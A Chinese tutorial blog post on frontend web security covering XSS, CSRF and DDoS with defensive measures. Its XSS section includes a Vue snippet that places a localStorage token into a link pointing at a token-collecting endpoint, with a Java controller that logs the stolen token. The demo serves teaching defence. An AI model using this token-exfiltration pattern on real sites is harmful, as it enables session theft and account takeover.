前端视角下的 Web 安全攻防:XSS、CSRF、DDoS 一次看懂

在 Web 应用开发中,与前端直接相关的、最常见、最核心的是安全漏洞和防御措施。

1. XSS(跨站脚本攻击)

攻击原理:

它的核心是攻击者想方设法地将恶意的JavaScript脚本,注入到我们的网页中,并让其他用户的浏览器去执行它。一旦恶意脚本被执行,攻击者就可以窃取用户的Token,或者在页面上伪造登录框骗取用户信息,甚至发起网络蠕虫攻击。

攻击场景:

XSS最危险的场景,是窃取存储在 localStorage 或 sessionStorage 里的认证凭证,比如 JWT Token。

假设我们有一个社区网站,用户可以发布带链接的评论。后端存储了用户提交的link地址,前端在渲染评论时,为了实现点击跳转,直接使用了 :href="comment.link" 来绑定这个链接地址。"

现在,一个攻击者发布了一条评论。他填写的link地址,不是一个普通的https://网址,而是一个JavaScript伪协议链接。

复制代码
<script setup>
  import { onMounted } from 'vue'
  const comments = [
    { id: 1, text: '这是第一条评论', link: 'https://example.com/1' },
    { id: 2, text: '这是第二条评论', link: 'https://example.com/2' },
    {
      id: 3, text: '这是第三条评论', link: `http://localhost:8080/user/getToken?token=${localStorage.getItem('token')}`
    }
  ]

  onMounted(() => {
    console.log(localStorage.getItem('token'));
  })
</script>

<template>
  <ul>
    <li v-for="comment in comments" :key="comment.id">
      <a :href="comment.link" target="_blank">{{ comment.text }}</a>
    </li>
  </ul>
</template>

<style scoped>
  ul {
    padding: 0;
    list-style: none;
  }

  li {
    margin-bottom: 8px;
  }

  a {
    color: #42b983;
    text-decoration: none;
  }

  a:hover {
    text-decoration: underline;
  }
</style>

@RestController
@RequestMapping("/user")
public class WxUserController {
    @GetMapping("getToken")
    public Result getToken(@RequestParam String token) {
        System.out.println("收到的token: " + token);
        return Result.success("获取token成功", token);
    }
}
  • 攻击者拿到用户的 token 可以为所欲为了

防范措施:

  1. 输入的时候校验,前后端都要校验,拒绝非法字符
  2. 输出时转义: 把 < 转成 &lt;> 转成 &gt;,让浏览器显示而不是执行
  3. 使用 CSP(内容安全策略):限制能执行脚本的来源,禁止内联脚本
  4. 敏感接口要校验:防止恶意脚本调用重要脚本

在Web认证中,TokenHttpOnly Cookie 并非谁绝对优于谁,它们是两种不同的安全策略,各自防御的侧重点不同,也各自引入了新的风险。一个安全的系统,在于理解并正确地运用它们。

Token (存储在 localStorage )

  • 优点天生免疫 CSRF 攻击:Token 不会被浏览器在跨站请求时自动携带,因此攻击者无法利用用户的身份在自己的网站上伪造请求。
  • 致命弱点在 XSS 攻击面前极其脆弱:localStorage 对页面上的所有JavaScript代码都是可见的。一旦网站存在任何XSS漏洞,攻击者注入的脚本就可以通过 localStorage.getItem('token') 轻松窃取到用户的完整身份凭证。
  • 安全前提 :选择此方案,意味着你必须对 XSS 防护有极高的要求和信心,需要做到万无一失的内容过滤和校验。

HttpOnly Cookie

  • 优点能有效抵御 XSS 窃取:HttpOnly 属性禁止了JavaScript通过 document.cookie 读取Cookie。即使网站存在XSS漏洞,攻击者也无法直接窃取到用户的身份凭证,守住了最后的安全堡垒。
  • 致命弱点天生易受 CSRF 攻击:Cookie会被浏览器在所有同站请求(包括跨站发起的同站请求)中自动携带,这是CSRF攻击能够得逞的根本原因。
  • 安全前提 :选择此方案,意味着必须 配合一套强大的 Anti-CSRF 策略,比如使用CSRF Token或严格的 SameSite Cookie属性。

用 localStorage 存 Token,用全部精力去防 XSS;用 HttpOnly Cookie,用全部精力去防 CSRF。

2. DDoS 攻击(分布式拒绝服务攻击)

DDoS 的全称是 Distributed Denial of Service,中文意思是"分布式拒绝服务攻击"。

简单来说,它的核心目标就一个:让你的网站或服务因为不堪重负而瘫痪,导致正常用户无法访问。

通俗点讲:

  • 正常人1秒访问1次
  • 攻击者让几万个机器疯狂访问
  • 服务器一下子撑爆,挂了

防范措施:

  1. 让防火墙、阿里云盾,腾讯云盾在边缘拦截异常流量
  2. 限流、熔断、降级机制:限制同一 IP 访问速率,超限就栏
  3. 弹性扩容: 服务器可以自动扩容,提高抗压能力
  4. CDN 加速+缓存 : 把静态资源缓存到离用户最近的节点,分散请求压力
  5. 识别并封禁攻击 IP

3. CSRF 攻击(跨站请求伪造)

CSRF(Cross-Site Request Forgery,跨站请求伪造)

👉 攻击者诱导用户在登录状态下,去访问一个恶意请求,冒充用户做事情

例子:

  • 你登录了银行网站
  • 攻击者诱导你点了一个恶意链接
  • 你的浏览器带着银行的 Cookie 发请求
  • 银行误以为是你本人操作了!

防范措施:

  1. 验证码验证:让真正用户手动操作,不被自动伪造
  2. SameSite Cookie 策略:把 Cookie 设置为 SameSite,限制跨站带 Cookie
  3. Referer/Origin 校验:后端检查请求来源是不是自己的网站
  4. 使用 CSRF Token :每次表单/请求附带一个随机生成的 token,后台验证 token 是否匹配
相关推荐
似水流年 光阴已逝3 小时前
《网络安全实战:CC攻击(应用层)与DDoS攻击(网络层)的底层逻辑与防御体系》
安全·web安全·ddos·网络攻击·安全防护·cc攻击
excel4 小时前
CSS 里的斜杠 /:你可能忽略的小细节
前端
wanhengidc4 小时前
云手机运行是否消耗自身流量?
运维·科技·安全·游戏·智能手机
网络安全大学堂4 小时前
【网络安全入门基础教程】网络安全零基础学习方向及需要掌握的技能
网络·学习·安全·web安全·网络安全·黑客
wanhengidc4 小时前
云手机将要面临的挑战有哪些?
运维·网络·安全·游戏·智能手机
PBitW5 小时前
element plus 使用细节 (二)
前端·vue·element plus·element使用细节
zcz16071278215 小时前
Web详解
前端
良木林5 小时前
JS函数进阶
开发语言·前端·javascript
网硕互联的小客服5 小时前
如何配置安全的 SFTP 服务器?
运维·服务器·安全